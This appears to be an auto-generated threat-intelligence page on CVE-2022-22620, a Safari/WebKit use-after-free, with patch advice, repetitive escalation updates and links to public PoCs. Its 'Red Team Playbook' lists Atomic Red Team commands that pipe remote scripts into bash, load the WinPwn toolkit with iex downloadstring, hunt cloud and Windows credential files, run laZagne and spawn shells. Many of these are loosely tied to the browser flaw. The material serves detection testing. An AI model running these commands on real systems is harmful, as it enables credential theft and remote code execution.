CVE-2022-22620
Overview
This vulnerability is a use-after-free flaw occurring in the memory management subsystem of Apple Safari's web content processing engine. Specifically, the issue arises when the browser improperly handles object lifecycles during the rendering of maliciously crafted web content, leading to dereferencing of freed memory. The affected components include Safari versions 15.3 (builds 16612.4.9.1.8 and 15612.4.9.1.8) and the WebKit engine on macOS Monterey 12.2.1, iOS 15.3.1, and iPadOS 15.3.1.
Vulnerability Description
A use after free issue was addressed with improved memory management. This issue is fixed in macOS Monterey 12.2.1, iOS 15.3.1 and iPadOS 15.3.1, Safari 15.3 (v. 16612.4.9.1.8 and 15612.4.9.1.8). Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited..
Impact
An attacker can achieve arbitrary code execution within the context of the Safari browser by exploiting this vulnerability, enabling control over the affected device without requiring authentication but necessitating user interaction to visit a malicious webpage. This can lead to full compromise of user data accessible through the browser, unauthorized access to sensitive information, and potential persistence on the device. The vulnerability facilitates remote code execution, which could be leveraged for further lateral movement or data exfiltration in targeted environments.
Solution
Apple has addressed this issue by improving memory management in Safari and WebKit. Users should update to macOS Monterey version 12.2.1, iOS 15.3.1, iPadOS 15.3.1, or Safari 15.3 (builds 16612.4.9.1.8 and 15612.4.9.1.8) as detailed in Apple's security updates at https://support.apple.com/en-us/HT213091, https://support.apple.com/en-us/HT213092, and https://support.apple.com/en-us/HT213093. These updates contain the necessary patches to mitigate the use-after-free condition. No additional workarounds are recommended by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from a use-after-free issue, a common type of memory corruption flaw that can lead to arbitrary code execution. This particular flaw affects several Apple products, including Safari, macOS, iOS, and iPadOS. The underlying problem is related to improper memory management, where the application fails to adequately handle the lifecycle of memory objects. When a program frees a memory location while still holding a reference to it, an attacker can exploit this oversight by manipulating the program's execution flow, potentially leading to the execution of malicious code. The resolution of this issue involved enhancing memory management practices within the affected software.
Attack vectors for this vulnerability primarily revolve around the processing of maliciously crafted web content. An attacker could host a specially designed webpage that, when visited by a user, triggers the use-after-free condition. This could allow the attacker to execute arbitrary code on the victim's device, leading to unauthorized access to sensitive information, installation of malware, or complete system compromise. The risk is exacerbated by the fact that many users may not be aware of the potential dangers of visiting compromised or malicious websites, making social engineering tactics a viable method for exploitation.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on Apple products for their operations. Given the high CVSS score of 8.8, the potential for exploitation is considerable, and successful attacks could lead to severe consequences, including data breaches, loss of intellectual property, and reputational damage. Organizations that utilize these platforms may find themselves at risk of financial loss due to remediation costs, legal liabilities, and the erosion of customer trust. Furthermore, the acknowledgment that this vulnerability may have been actively exploited in the wild heightens the urgency for organizations to address it promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating software to the latest versions is crucial, as patches have been released to address this specific issue. Employing web filtering solutions can help block access to known malicious sites, reducing the likelihood of exploitation. Additionally, organizations should conduct security awareness training for employees to educate them about the risks of visiting untrusted websites and the importance of maintaining updated software. Implementing endpoint detection and response (EDR) solutions can also aid in identifying and responding to suspicious activities that may indicate an attempted exploitation of this vulnerability.
In conclusion, the use-after-free vulnerability in Apple's software products represents a serious threat that can lead to arbitrary code execution. The potential for exploitation through crafted web content poses significant risks to both individual users and organizations. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, cybersecurity professionals can better prepare to defend against such threats. Proactive detection and mitigation strategies are essential to safeguard systems and data from the adverse effects of such vulnerabilities.
CSURFACE threat intelligence has identified a marked escalation in exploitation activity targeting CVE-2022-22620, highlighted by the emergence of multiple new proof-of-concept exploits publicly available on GitHub. This development coincides with the vulnerability’s recent inclusion in the CISA Known Exploited Vulnerabilities catalog, underscoring its elevated priority for defensive measures. Our telemetry indicates a significant upward trend in exploitation attempts, reflected in a substantial increase in the Exploit Prediction Scoring System (EPSS) score, which now places this vulnerability in the upper percentile of actively exploited flaws. The availability of public exploit code lowers the barrier for threat actors, potentially accelerating weaponization and increasing the likelihood of widespread attacks. Consequently, the threat level associated with CVE-2022-22620 has intensified, warranting heightened vigilance from defenders as adversaries are now equipped with more accessible and effective tools to exploit this use-after-free flaw in Apple Safari.
Update 2 — July 09, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2022-22620, with telemetry indicating a doubling in observed activity over recent monitoring periods. This surge coincides with the continued availability and refinement of multiple public proof-of-concept exploits, which have lowered the technical barriers for adversaries seeking to leverage this use-after-free vulnerability in Apple Safari. Although the EPSS score remains stable, the sharp increase in detection frequency signals heightened attacker interest and operational activity. For defenders, this development underscores an elevated risk environment where opportunistic and skilled threat actors alike may intensify efforts to compromise vulnerable systems. The expanding exploit landscape and increased exploitation attempts collectively elevate the threat level, necessitating sustained vigilance despite the absence of new ransomware associations at this time.
Update 3 — July 19, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2022-22620, evidenced by a notable surge in detection activity across our telemetry. This increase coincides with the emergence of additional proof-of-concept exploits publicly available on GitHub, broadening the accessibility of attack tools to a wider adversary base. Although the EPSS score remains stable, the amplification in operational activity signals growing attacker confidence and experimentation with this use-after-free vulnerability in Apple Safari. For defenders, this development elevates the threat landscape by increasing the likelihood of opportunistic exploitation attempts and potentially more sophisticated campaigns. The absence of ransomware linkage persists; however, the expanding exploit ecosystem and heightened attacker engagement necessitate continued monitoring to detect any shifts toward more aggressive or targeted exploitation strategies.
Update 4 — August 03, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2022-22620, with telemetry indicating a sustained increase in attacker activity leveraging this use-after-free vulnerability in Apple Safari. Concurrently, new proof-of-concept exploits have surfaced, expanding the available toolkit for adversaries and lowering the barrier to entry for exploitation. Although the EPSS score remains relatively stable, the qualitative surge in operational engagement reflects growing adversary confidence and experimentation, which could presage more frequent or sophisticated attacks. This evolving landscape underscores an elevated risk posture for defenders, as opportunistic exploitation attempts may become more widespread and potentially integrated into broader attack campaigns. The absence of confirmed ransomware involvement persists; however, the expanding exploit ecosystem and heightened attacker activity necessitate vigilant monitoring to identify any shifts toward targeted or high-impact exploitation scenarios.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Apple | Safari | All |
cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*
|
|
|
Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
springsec/CVE-2022-22620
Webkit (Safari) - Exploit
|
springsec | 6 | 0 | 2022-08-04 | View |
|
kmeps4/CVE-2022-22620
CVE-2022-22620: Use-after-free in Safari
|
kmeps4 | 1 | 2 | 2022-06-14 | View |
|
bb33bb/dkjiayu.github.io
POC for cve-2022-22620
|
bb33bb | 0 | 0 | 2023-04-13 | View |
Threat Feed
15 eventsSighting activity recorded
Sighting activity recorded
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Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-22620 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT213091 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT213092 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT213093 |
| security.gentoo.org |
GitHub CVE
vendor-advisory
x_refsource_GENTOO
|
https://security.gentoo.org/glsa/202208-39 |
| cisa.gov |
NVD API
Third Party Advisory
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-22620 |